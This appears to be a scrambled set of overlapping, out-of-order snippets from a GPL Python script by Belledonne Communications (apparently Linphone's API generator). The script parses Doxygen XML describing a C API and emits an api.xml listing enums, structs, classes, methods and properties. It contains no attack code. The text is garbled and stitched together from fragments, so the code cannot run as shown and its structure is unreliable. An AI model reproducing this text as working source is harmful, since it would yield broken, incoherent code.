self.__generateFunction(classMethodsNode, 'classmethod', cclass.classMethods[methodname]) if len(cclass.instanceMethods) > 0: instanceMethodsNode", "self.__parseCEnumMemberdef(m) self.add(e) def __parseCStructMember(self, node, structname): name = node.find('./name').text definition", "the hope that it will be useful, # but WITHOUT", "pos = definition.find(\"(\") definition = definition[pos + 1 : -1]", "self.values.append(value) class CStructMember(CObject): def __init__(self, name, t): CObject.__init__(self, name) self.ctype", "isEnum: for e in enums: if e.associatedTypedef is not None:", "returndesc.find('.//bctbxlist') if n is not None: returnarg.containedType = n.text returnarg.description", "is not None: ev.deprecated = True ev.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc", "# Default to int so that the result is correct", "t = ''.join(n.itertext()) n.clear() n.tag = 'see' n.text = t", "if definition.startswith('typedef '): definition = definition[8 :] if name.endswith('Cb'): pos", "not None: self.__generateFunction(propertyNode, 'setter', cclass.properties[propname].setter) if cclass.briefDescription != '': classBriefDescriptionNode", "API to '\" + self.__outputfile.name + \"'\") apiNode = ET.Element('api')", "> 0: paramdescs = node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in", "is not None: td.deprecated = True td.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc", "not None: if returnarg.ctype == 'MSList' or returnarg.ctype == 'bctbx_list_t':", "> 0 and f.arguments[0].ctype == self.name: self.__addInstanceMethod(f) else: self.__addClassMethod(f) class", "break for f in self.__functions: for c in self.classes: if", "for enumvalue in enumvalues: ev = self.__parseCEnumValue(enumvalue) e.addValue(ev) return e", "'class', classNodeAttributes) if len(cclass.events) > 0: eventsNode = ET.SubElement(classNode, 'events')", "e.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) enumvalues", "t.strip() class CStruct(CObject): def __init__(self, name): CObject.__init__(self, name) self.members =", "trees: self.__findCFunction(tree) self.__discoverClasses() def initFromDir(self, xmldir): files = [ os.path.join(xmldir,", "Street, Fifth Floor, Boston, MA 02110-1301, USA. import argparse import", "[ os.path.join(xmldir, f) for f in os.listdir(xmldir) if (os.path.isfile(os.path.join(xmldir, f))", "import metadoc class CObject: def __init__(self, name): self.name = name.strip()", "for n in para.findall(\"./simplesect[@kind='see']\"): t = ''.join(n.itertext()) n.clear() n.tag =", "# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA", "e in self.__events: eventAdded = False for c in self.classes:", "== 'bool_t': self.__addPropertySetter(name[7:] + '_enabled', f) else: if not f.name", "node.find('./name').text t = ''.join(node.find('./type').itertext()) returnarg = CArgument(t, enums = self.enums,", "p in six.iteritems(c.properties): if p.getter is None and p.setter is", "self.classes: for name, p in six.iteritems(c.properties): if p.getter is None", "self.__structs = [] self.__typedefs = [] self.__events = [] self.__functions", "cclass.properties[propname].getter is not None: self.__generateFunction(propertyNode, 'getter', cclass.properties[propname].getter) if cclass.properties[propname].setter is", "self.__findCStruct(tree) for tree in trees: self.__findCTypedef(tree) for tree in trees:", "= self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return td return None def", "= ET.SubElement(parentNode, nodeName, functionAttributes) returnValueAttributes = { 'type' : f.returnArgument.ctype,", "eventnames: self.__generateFunction(eventsNode, 'event', cclass.events[eventname]) if len(cclass.classMethods) > 0: classMethodsNode =", "or st.associatedTypedef.deprecated: self.deprecated = True if len(st.associatedTypedef.briefDescription) > 0: self.briefDescription", "= '', enums = [], structs = []): CObject.__init__(self, name)", "Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,", "self.ctype == 'int' and 'int' not in fullySplittedType: if fullySplittedType[-1]", "= tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\") for m in memberdefs: f = self.__parseCFunctionMemberdef(m) if", "distributed in the hope that it will be useful, #", "and len(f.arguments) == 1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f)", "class CArgument(CObject): def __init__(self, t, name = '', enums =", "print(\"\\t\" + sm.ctype + \" \" + sm.name) self.__structs.append(elem) elif", "for td in self.__typedefs: if td.definition.startswith('enum '): for e in", "+ \"')\\n\"; if missingDocWarning != '': print(name + \":\\n\" +", "if self.verbose: print(\"Adding class \" + elem.name) self.classes.append(elem) elif isinstance(elem,", "len(cclass.properties) > 0: propertiesNode = ET.SubElement(classNode, 'properties') propnames = []", "= True break if not eventAdded: for c in self.classes:", "== 'enum': isEnum = True if isStruct: for st in", "prop self.properties[name].getter = f def __addPropertySetter(self, name, f): if not", "para.findall('.//ref'): n.attrib = {} for n in para.findall(\".//bctbx_list\"): para.remove(n) if", "self.classes: if c.name.endswith('Cbs') and e.name.startswith(c.name): c.addEvent(e) eventAdded = True break", "CEvent(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not", "refcountable = False destroyable = False if has_ref_method and has_unref_method:", "You should have received a copy of the GNU General", "__init__(self, outputfile): self.__outputfile = outputfile def __generateEnum(self, cenum, enumsNode): enumNodeAttributes", "in fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct = False isEnum = False self.ctype", "__getitem__(self, key): return self.arguments[key] def __str__(self): argstr = [] for", "not name in self.properties: prop = CProperty(name) self.properties[name] = prop", "break elif td.definition.startswith('struct '): structFound = False for st in", "not None: functionAttributes['location'] = f.location functionNode = ET.SubElement(parentNode, nodeName, functionAttributes)", "argslistNode: argType = ''.join(argNode.find('./type').itertext()) argName = '' argNameNode = argNode.find('./declname')", "and 'int' not in fullySplittedType: if fullySplittedType[-1] == '*': fullySplittedType.insert(-1,", "= outputfile def __generateEnum(self, cenum, enumsNode): enumNodeAttributes = { 'name'", "'' starPos = argdef.rfind('*') spacePos = argdef.rfind(' ') if starPos", "\":\\n\" + missingDocWarning) return f def __findCFunction(self, tree): memberdefs =", "memberdefs: td = self.__parseCTypedefMemberdef(m) self.add(td) def __parseCFunctionMemberdef(self, node): if not", "self.getter = None self.setter = None class CClass(CObject): def __init__(self,", "for propname in propnames: propertyNodeAttributes = { 'name' : propname", "'deprecated' : str(cclass.deprecated).lower(), 'refcountable' : str(refcountable).lower(), 'destroyable' : str(destroyable).lower() }", "arg.name + \"' parameter not documented\\n\"; f = CFunction(name, returnarg,", "ev in elem.values: print(\"\\t\" + ev.name) self.enums.append(elem) elif isinstance(elem, CStruct):", "+ \"' of class '\" + c.name + \"' has", "under the terms of the GNU General Public License #", "[] self.__structs = [] self.__typedefs = [] self.__events = []", "'briefdescription') classBriefDescriptionNode.text = cclass.briefDescription classNode.append(cclass.detailedDescription) def generate(self, project): print(\"Generating XML", "the terms of the GNU General Public License # as", "for tree in trees: self.__findCStruct(tree) for tree in trees: self.__findCTypedef(tree)", "len(cclass.events) > 0: eventsNode = ET.SubElement(classNode, 'events') eventnames = []", "= True s.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription =", "self.__discoverClasses() def initFromDir(self, xmldir): files = [ os.path.join(xmldir, f) for", "spacePos] argName = argdef[spacePos + 1 :] argslist.addArgument(CArgument(argType, argName, self.enums,", "name): CObject.__init__(self, name) self.value = None class CEnum(CObject): def __init__(self,", "the Free Software # Foundation, Inc., 51 Franklin Street, Fifth", "CStruct(name) st.associatedTypedef = td self.add(st) for td in self.__typedefs: if", "if len(cclass.instanceMethods) > 0: instanceMethodsNode = ET.SubElement(classNode, 'instancemethods') methodnames =", "missingDocWarning != '': print(name + \":\\n\" + missingDocWarning) f =", "propnames.append(propname) propnames.sort() for propname in propnames: propertyNodeAttributes = { 'name'", "!= '': enumBriefDescriptionNode = ET.SubElement(enumNode, 'briefdescription') enumBriefDescriptionNode.text = cenum.briefDescription enumNode.append(cenum.detailedDescription)", "returnarg self.arguments = argslist self.location = None class CEvent(CFunction): pass", "[] self.classes = [] self.docparser = metadoc.Parser() def add(self, elem):", "self.__typedefs: if td.definition.startswith('struct '): for st in self.__structs: if st.associatedTypedef", "self.__events = [] self.__functions = [] self.classes = [] self.docparser", "l.lower() first = False self.cFunctionPrefix += '_' def __addPropertyGetter(self, name,", "name = node.find('./name').text t = ''.join(node.find('./type').itertext()) returnarg = CArgument(t, enums", "= '' starPos = argdef.rfind('*') spacePos = argdef.rfind(' ') if", "check(self): for c in self.classes: for name, p in six.iteritems(c.properties):", "{ 'name' : cenum.name, 'deprecated' : str(cenum.deprecated).lower() } if cenum.associatedTypedef", "name) st = CStruct(name) st.associatedTypedef = td self.add(st) for td", "spacePos = argdef.rfind(' ') if starPos != -1: argType =", "elif isinstance(elem, CEvent): if self.verbose: print(\"Adding event \" + elem.name)", "None name = node.find('./name').text definition = node.find('./definition').text if definition.startswith('typedef '):", "project.enums: self.__generateEnum(cenum, enumsNode) if len(project.classes) > 0: classesNode = ET.SubElement(apiNode,", "ev def __parseCEnumMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None", "{} self.properties = {} self.__computeCFunctionPrefix() def __computeCFunctionPrefix(self): self.cFunctionPrefix = ''", "break def __parseCEnumValueInitializer(self, initializer): initializer = initializer.strip() if not initializer.startswith('='):", "Foundation; either version 2 # of the License, or (at", "== 2: self.__addPropertySetter(name[4:], f) elif name.startswith('enable_') and len(f.arguments) == 2", "CTypedef(name, definition) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None:", "f.returnArgument.containedType is not None: returnValueAttributes['containedtype'] = f.returnArgument.containedType returnValueNode = ET.SubElement(functionNode,", "enumsNode = ET.SubElement(apiNode, 'enums') for cenum in project.enums: self.__generateEnum(cenum, enumsNode)", "tree in trees: self.__findCEnum(tree) for tree in trees: self.__findCStruct(tree) for", "in compounddefs: s = self.__parseCStructCompounddef(c) self.add(s) def __parseCTypedefMemberdef(self, node): if", "and has_unref_method: refcountable = True if has_destroy_method: destroyable = True", "argslist self.location = None class CEvent(CFunction): pass class CProperty: def", "eventAdded = True break for f in self.__functions: for c", "is not None: sm.deprecated = True sm.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc", "st.associatedTypedef.deprecated: self.deprecated = True if len(st.associatedTypedef.briefDescription) > 0: self.briefDescription =", "if locationNode is not None: f.location = locationNode.get('file') if not", "+ str(elem.arguments)) self.__events.append(elem) elif isinstance(elem, CFunction): if self.verbose: print(\"Adding function", "\"' parameter not documented\\n\"; f = CFunction(name, returnarg, argslist) deprecatedNode", "= n.text arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for arg", "if len(project.classes) > 0: classesNode = ET.SubElement(apiNode, 'classes') project.classes.sort(key =", "typedef: \" + name) st = CStruct(name) st.associatedTypedef = td", "= CClass(st) cclass.briefDoc = td.briefDoc self.add(st) self.add(cclass) # Sort classes", "argslist.arguments: if arg.description == None: missingDocWarning += \"\\t'\" + arg.name", "cenum.briefDescription enumNode.append(cenum.detailedDescription) if len(cenum.values) > 0: enumValuesNode = ET.SubElement(enumNode, 'values')", "-1: return None returntype = definition[0:pos].strip() returnarg = CArgument(returntype, enums", "# This program is free software; you can redistribute it", "structFound = False for st in self.__structs: if (st.associatedTypedef is", "else: pos = definition.rfind(\" \" + name) if pos !=", "structFound: name = td.definition[7:] print(\"Structure with no associated typedef: \"", "> 0: classesNode = ET.SubElement(apiNode, 'classes') project.classes.sort(key = lambda c:", "sys import xml.etree.ElementTree as ET import xml.dom.minidom as minidom import", "td.deprecated = True td.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription", "a setter but no getter\") class Generator: def __init__(self, outputfile):", "\"\\t'\" + arg.name + \"' parameter not documented\\n\"; f =", "class CTypedef(CObject): def __init__(self, name, definition): CObject.__init__(self, name) self.definition =", "= CEvent(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is", "if self.ctype == 'int' and 'int' not in fullySplittedType: if", "argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist) > 0: paramdescs =", "True project.initFromDir(args.xmldir) project.check() gen = Generator(args.outputfile) gen.generate(project) if __name__ ==", "cclass.properties[propname].setter) if cclass.briefDescription != '': classBriefDescriptionNode = ET.SubElement(classNode, 'briefdescription') classBriefDescriptionNode.text", "in fullySplittedType: if not s in keywords: self.ctype = s", "'arguments') for arg in f.arguments: argumentNodeAttributes = { 'name' :", "Communications SARL # # This program is free software; you", "for e in self.__events: eventAdded = False for c in", "propnames: propertyNodeAttributes = { 'name' : propname } propertyNode =", "node): return None e = CEnum(node.find('./name').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if", "enumBriefDescriptionNode = ET.SubElement(enumNode, 'briefdescription') enumBriefDescriptionNode.text = cenum.briefDescription enumNode.append(cenum.detailedDescription) if len(cenum.values)", "!= 'void': missingDocWarning += \"\\tReturn value is not documented\\n\" argslist", "True break for f in self.__functions: for c in self.classes:", "= ev def addMethod(self, f): if len(f.arguments) > 0 and", "= CClass(st) cclass.briefDoc = td.briefDoc self.add(cclass) break elif ('Linphone' +", "Check the capabilities of the class has_ref_method = False has_unref_method", "for argNode in argslistNode: argType = ''.join(argNode.find('./type').itertext()) argName = ''", "elem.name) self.classes.append(elem) elif isinstance(elem, CEnum): if self.verbose: print(\"Adding enum \"", "st.associatedTypedef.briefDescription elif len(st.briefDescription) > 0: self.briefDescription = st.briefDescription if st.associatedTypedef.detailedDescription", "None initializer = initializer[1:] initializer.strip() return initializer def __parseCEnumValue(self, node):", "ev = self.__parseCEnumValue(enumvalue) e.addValue(ev) return e def __findCEnum(self, tree): memberdefs", "= ''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return td", "os.listdir(xmldir) if (os.path.isfile(os.path.join(xmldir, f)) and f.endswith('.xml')) ] self.initFromFiles(files) def check(self):", "= ET.SubElement(classNode, 'classmethods') methodnames = [] for methodname in cclass.classMethods:", "initializer def __parseCEnumValue(self, node): ev = CEnumValue(node.find('./name').text) initializerNode = node.find('./initializer')", "= '' for arg in argslist.arguments: if arg.description == None:", "ev def addMethod(self, f): if len(f.arguments) > 0 and f.arguments[0].ctype", "print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__functions.append(elem) def", "has_destroy_method: destroyable = True classNodeAttributes = { 'name' : cclass.name,", "argdef[spacePos + 1 :] argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist)", "'' first = True for l in self.name: if l.isupper()", "'': functionBriefDescriptionNode = ET.SubElement(functionNode, 'briefdescription') functionBriefDescriptionNode.text = f.briefDescription functionNode.append(f.detailedDescription) def", "None) and td.definition[7:] == st.name: st.associatedTypedef = td structFound =", "st.name: st.associatedTypedef = td structFound = True break if not", "s == 'enum': isEnum = True if isStruct: for st", "> 0: self.briefDescription = st.briefDescription if st.associatedTypedef.detailedDescription is not None:", "and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.startswith('set_') and len(f.arguments)", "None def __discoverClasses(self): for td in self.__typedefs: if td.definition.startswith('enum '):", "== '': return None locationNode = node.find('./location') if locationNode is", "if self.verbose: print(\"Parsing XML file: \" + f.name) tree =", "of class '\" + c.name + \"' has a setter", "__init__(self, name): CObject.__init__(self, name) self.value = None class CEnum(CObject): def", "self.associatedTypedef = None def addValue(self, value): self.values.append(value) class CStructMember(CObject): def", "= { 'name' : f.name, 'deprecated' : str(f.deprecated).lower() } if", "definition[8 :] if name.endswith('Cb'): pos = definition.find(\"(*\") if pos ==", "is not None: trees.append(tree) for tree in trees: self.__findCEnum(tree) for", ": value.name, 'deprecated' : str(value.deprecated).lower() } valueNode = ET.SubElement(enumValuesNode, 'value',", "self.instanceMethods: self.instanceMethods[f.name] = f def addEvent(self, ev): if not ev.name", "self.enums = [] self.__structs = [] self.__typedefs = [] self.__events", "= td structFound = True break if not structFound: name", "returnValueNode = ET.SubElement(functionNode, 'return', returnValueAttributes) if f.returnArgument.description is not None:", "eventsNode = ET.SubElement(classNode, 'events') eventnames = [] for eventname in", "s in keywords: self.ctype = s if s == 'struct':", "terms of the GNU General Public License # as published", "= node.find('./definition').text if definition.startswith('typedef '): definition = definition[8 :] if", "in argslist.arguments: if arg.description == None: missingDocWarning += \"\\t'\" +", "'short', 'long', '*' ] fullySplittedType = [] splittedType = t.strip().split('", "CEnum(CObject): def __init__(self, name): CObject.__init__(self, name) self.values = [] self.associatedTypedef", "__addPropertySetter(self, name, f): if not name in self.properties: prop =", "1: self.__addPropertyGetter(name[4:], f) elif name.startswith('is_') and len(f.arguments) == 1 and", "self.__outputfile = outputfile def __generateEnum(self, cenum, enumsNode): enumNodeAttributes = {", "__generateFunction(self, parentNode, nodeName, f): functionAttributes = { 'name' : f.name,", "self.deprecated = True if len(st.associatedTypedef.briefDescription) > 0: self.briefDescription = st.associatedTypedef.briefDescription", "cclass.briefDescription != '': classBriefDescriptionNode = ET.SubElement(classNode, 'briefdescription') classBriefDescriptionNode.text = cclass.briefDescription", "'property', propertyNodeAttributes) if cclass.properties[propname].getter is not None: self.__generateFunction(propertyNode, 'getter', cclass.properties[propname].getter)", "'completetype' : arg.completeType } if arg.containedType is not None: argumentNodeAttributes['containedtype']", "missingDocWarning += \"\\tReturn value is not documented\\n\" argslist = CArgumentsList()", "have received a copy of the GNU General Public License", "if args.outputfile == None: args.outputfile = open('api.xml', 'w') project =", "in argslistNode: argType = ''.join(argNode.find('./type').itertext()) argName = '' argNameNode =", "arg in argslist.arguments: for paramdesc in paramdescs: if arg.name ==", "= ET.Element('api') project.enums.sort(key = lambda e: e.name) if len(project.enums) >", "in the hope that it will be useful, # but", "+ elem.name) for ev in elem.values: print(\"\\t\" + ev.name) self.enums.append(elem)", "CArgumentsList() argslistNode = node.findall('./param') for argNode in argslistNode: argType =", "enum \" + elem.name) for ev in elem.values: print(\"\\t\" +", "published by the Free Software Foundation; either version 2 #", "!= '': valueBriefDescriptionNode = ET.SubElement(valueNode, 'briefdescription') valueBriefDescriptionNode.text = value.briefDescription valueNode.append(value.detailedDescription)", "structmembers = node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\") for structmember in structmembers: sm = self.__parseCStructMember(structmember,", "arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: if arg.ctype == 'MSList' or arg.ctype ==", "= []): CObject.__init__(self, name) self.description = None self.containedType = None", "missingDocWarning += \"\\tNot documented in a header file ('\" +", "False if has_ref_method and has_unref_method: refcountable = True if has_destroy_method:", "= { 'type' : f.returnArgument.ctype, 'completetype' : f.returnArgument.completeType } if", "para.findall(\"./simplesect[@kind='note']\"): n.tag = 'note' n.attrib = {} for n in", "f.arguments: argumentNodeAttributes = { 'name' : arg.name, 'type' : arg.ctype,", "self.__addInstanceMethod(f) else: self.__addClassMethod(f) class Project: def __init__(self): self.verbose = False", "= '' self.detailedDescription = None self.deprecated = False self.briefDoc =", "Project: def __init__(self): self.verbose = False self.prettyPrint = False self.enums", "return td return None def __findCTypedef(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\")", "a header file ('\" + f.location + \"')\\n\"; if missingDocWarning", "class CFunction(CObject): def __init__(self, name, returnarg, argslist): CObject.__init__(self, name) self.returnArgument", "f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return", "file ('\" + f.location + \"')\\n\"; if missingDocWarning != '':", "return f def __findCFunction(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\") for m", "None: argv = sys.argv argparser = argparse.ArgumentParser(description=\"Generate XML version of", "= None class CEvent(CFunction): pass class CProperty: def __init__(self, name):", "self.value = None class CEnum(CObject): def __init__(self, name): CObject.__init__(self, name)", "= False self.enums = [] self.__structs = [] self.__typedefs =", "td.definition.startswith('struct '): for st in self.__structs: if st.associatedTypedef == td:", "initializer.strip() if not initializer.startswith('='): return None initializer = initializer[1:] initializer.strip()", "and f.arguments[0].ctype == self.name: self.__addInstanceMethod(f) else: self.__addClassMethod(f) class Project: def", "sm def __parseCStructCompounddef(self, node): s = CStruct(node.find('./compoundname').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\")", "n in para.findall(\"./simplesect[@kind='see']\"): t = ''.join(n.itertext()) n.clear() n.tag = 'see'", "= st.associatedTypedef.name elif isEnum: for e in enums: if e.associatedTypedef", "GNU General Public License for more details. # # You", "if cclass.properties[propname].getter is not None: self.__generateFunction(propertyNode, 'getter', cclass.properties[propname].getter) if cclass.properties[propname].setter", "= node.find(\"./detaileddescription/internal\") if internal is not None: return None missingDocWarning", ":] elif spacePos != -1: argType = argdef[0 : spacePos]", "if st.associatedTypedef.detailedDescription is not None: self.detailedDescription = st.associatedTypedef.detailedDescription elif st.detailedDescription", "elem.members: print(\"\\t\" + sm.ctype + \" \" + sm.name) self.__structs.append(elem)", "s.startswith('*'): fullySplittedType.append('*') if len(s) > 1: fullySplittedType.append(s[1:]) elif s.endswith('*'): fullySplittedType.append(s[:-1])", "= ET.SubElement(classNode, 'briefdescription') classBriefDescriptionNode.text = cclass.briefDescription classNode.append(cclass.detailedDescription) def generate(self, project):", "if f.briefDescription != '': functionBriefDescriptionNode = ET.SubElement(functionNode, 'briefdescription') functionBriefDescriptionNode.text =", "# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the", "p.setter is not None: print(\"Property '\" + name + \"'", "class Project: def __init__(self): self.verbose = False self.prettyPrint = False", "ET.SubElement(classNode, 'classmethods') methodnames = [] for methodname in cclass.classMethods: methodnames.append(methodname)", "but no getter\") class Generator: def __init__(self, outputfile): self.__outputfile =", ": propname } propertyNode = ET.SubElement(propertiesNode, 'property', propertyNodeAttributes) if cclass.properties[propname].getter", "== 0 and len(cclass.classMethods) == 0 and \\ len(cclass.instanceMethods) ==", "c: len(c.name), reverse = True) for e in self.__events: eventAdded", "td self.add(st) for td in self.__typedefs: if td.definition.startswith('struct '): for", "not documented\\n\"; if missingDocWarning != '': print(name + \":\\n\" +", "self.enums, self.__structs)) if len(argslist) > 0: paramdescs = node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if", "classesNode) s = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\\n'.encode('utf-8') s += ET.tostring(apiNode,", "def __parseCEnumValueInitializer(self, initializer): initializer = initializer.strip() if not initializer.startswith('='): return", "documented\\n\"; f = CFunction(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if", "value): self.values.append(value) class CStructMember(CObject): def __init__(self, name, t): CObject.__init__(self, name)", "= False has_unref_method = False has_destroy_method = False for methodname", "functionAttributes['location'] = f.location functionNode = ET.SubElement(parentNode, nodeName, functionAttributes) returnValueAttributes =", "'destroy': has_destroy_method = True refcountable = False destroyable = False", "= locationNode.get('file') if not f.location.endswith('.h'): missingDocWarning += \"\\tNot documented in", "'setter', cclass.properties[propname].setter) if cclass.briefDescription != '': classBriefDescriptionNode = ET.SubElement(classNode, 'briefdescription')", "', '.join(argstr) class CFunction(CObject): def __init__(self, name, returnarg, argslist): CObject.__init__(self,", "'): for e in self.enums: if (e.associatedTypedef is None) and", "__addClassMethod(self, f): if not f.name in self.classMethods: self.classMethods[f.name] = f", "node): ev = CEnumValue(node.find('./name').text) initializerNode = node.find('./initializer') if initializerNode is", "e in self.enums: if (e.associatedTypedef is None) and td.definition[5:] ==", "args = argparser.parse_args() if args.outputfile == None: args.outputfile = open('api.xml',", "= ET.SubElement(enumValuesNode, 'value', enumValuesNodeAttributes) if value.briefDescription != '': valueBriefDescriptionNode =", "for l in self.name: if l.isupper() and not first: self.cFunctionPrefix", "Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.", "propname in propnames: propertyNodeAttributes = { 'name' : propname }", "not ev.name in self.events: self.events[ev.name] = ev def addMethod(self, f):", "in para.findall(\"./simplesect[@kind='note']\"): n.tag = 'note' n.attrib = {} for n", "' '.join(fullySplittedType) def __str__(self): return self.completeType + \" \" +", "= tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\") for m in memberdefs: e = self.__parseCEnumMemberdef(m) self.add(e)", "'note' n.attrib = {} for n in para.findall(\".//xrefsect\"): para.remove(n) for", "return None name = node.find('./name').text definition = node.find('./definition').text if definition.startswith('typedef", "and p.setter is not None: print(\"Property '\" + name +", "warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.", "f): if not f.name in self.classMethods: self.classMethods[f.name] = f def", "'parameterdescription': descriptionNode.tag = 'description' if descriptionNode.tag == 'simplesect': descriptionNode.tag =", "not None: ev.value = self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode", "CArgument(CObject): def __init__(self, t, name = '', enums = [],", "= [] for arg in self.arguments: argstr.append(str(arg)) return ', '.join(argstr)", "td return None def __findCTypedef(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\") for", "for c in self.classes: for name, p in six.iteritems(c.properties): if", "has_destroy_method = False for methodname in cclass.instanceMethods: methodname_without_prefix = methodname.replace(cclass.cFunctionPrefix,", "name = td.definition[7:] print(\"Structure with no associated typedef: \" +", "self.__generateClass(cclass, classesNode) s = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\\n'.encode('utf-8') s +=", "returnarg.completeType != 'void': missingDocWarning += \"\\tReturn value is not documented\\n\"", "if 'MS2_DEPRECATED' in fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED') elif 'LINPHONE_DEPRECATED' in fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED')", "= False for c in self.classes: if c.name.endswith('Cbs') and e.name.startswith(c.name):", "f.location = locationNode.get('file') if not f.location.endswith('.h'): missingDocWarning += \"\\tNot documented", "True if isStruct: for st in structs: if st.associatedTypedef is", "if missingDocWarning != '': print(name + \":\\n\" + missingDocWarning) f", "missingDocWarning != '': print(name + \":\\n\" + missingDocWarning) return f", "= tree.findall(\"./compounddef[@kind='struct'][@prot='public']\") for c in compounddefs: s = self.__parseCStructCompounddef(c) self.add(s)", "cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(st) self.add(cclass) # Sort", "isinstance(elem, CClass): if self.verbose: print(\"Adding class \" + elem.name) self.classes.append(elem)", "that the result is correct eg. for 'unsigned short' for", "self.__outputfile.write(s) def main(argv = None): if argv is None: argv", "isStruct = False isEnum = False self.ctype = 'int' #", "methodname in cclass.instanceMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(instanceMethodsNode,", "= True refcountable = False destroyable = False if has_ref_method", "= [] self.classes = [] self.docparser = metadoc.Parser() def add(self,", "None: missingDocWarning += \"\\t'\" + arg.name + \"' parameter not", "if descriptionNode.tag == 'simplesect': descriptionNode.tag = 'description' descriptionNode.attrib = {}", "= self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) structmembers = node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\") for structmember", "= [] self.__events = [] self.__functions = [] self.classes =", "(C) 2014 Belledonne Communications SARL # # This program is", "= f def __addPropertySetter(self, name, f): if not name in", "'instancemethod', cclass.instanceMethods[methodname]) if len(cclass.properties) > 0: propertiesNode = ET.SubElement(classNode, 'properties')", "correct eg. for 'unsigned short' for s in fullySplittedType: if", "paramdesc.find('./parameternamelist').find('./parametername').text: arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for arg in", "self.completeType = ' '.join(fullySplittedType) def __str__(self): return self.completeType + \"", "if deprecatedNode is not None: f.deprecated = True f.briefDescription =", "self.arguments = [] def addArgument(self, arg): self.arguments.append(arg) def __len__(self): return", "isEnum = True if isStruct: for st in structs: if", "'\" + c.name + \"' has a setter but no", "{ 'name' : propname } propertyNode = ET.SubElement(propertiesNode, 'property', propertyNodeAttributes)", "st.associatedTypedef = td self.add(st) for td in self.__typedefs: if td.definition.startswith('struct", "name.endswith('Cb'): pos = definition.find(\"(*\") if pos == -1: return None", "CArgumentsList() for argdef in definition.split(', '): argType = '' starPos", "= CFunction(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is", "\" + elem.name) self.classes.append(elem) elif isinstance(elem, CEnum): if self.verbose: print(\"Adding", "for arg in argslist.arguments: if arg.description == None: missingDocWarning +=", "documented in a header file ('\" + f.location + \"')\\n\";", "valueBriefDescriptionNode = ET.SubElement(valueNode, 'briefdescription') valueBriefDescriptionNode.text = value.briefDescription valueNode.append(value.detailedDescription) def __generateFunction(self,", "isinstance(elem, CTypedef): if self.verbose: print(\"Adding typedef \" + elem.name) print(\"\\t\"", "cclass.cFunctionPrefix, 'deprecated' : str(cclass.deprecated).lower(), 'refcountable' : str(refcountable).lower(), 'destroyable' : str(destroyable).lower()", "in self.__functions: for c in self.classes: if c.cFunctionPrefix == f.name[0", "'': enumBriefDescriptionNode = ET.SubElement(enumNode, 'briefdescription') 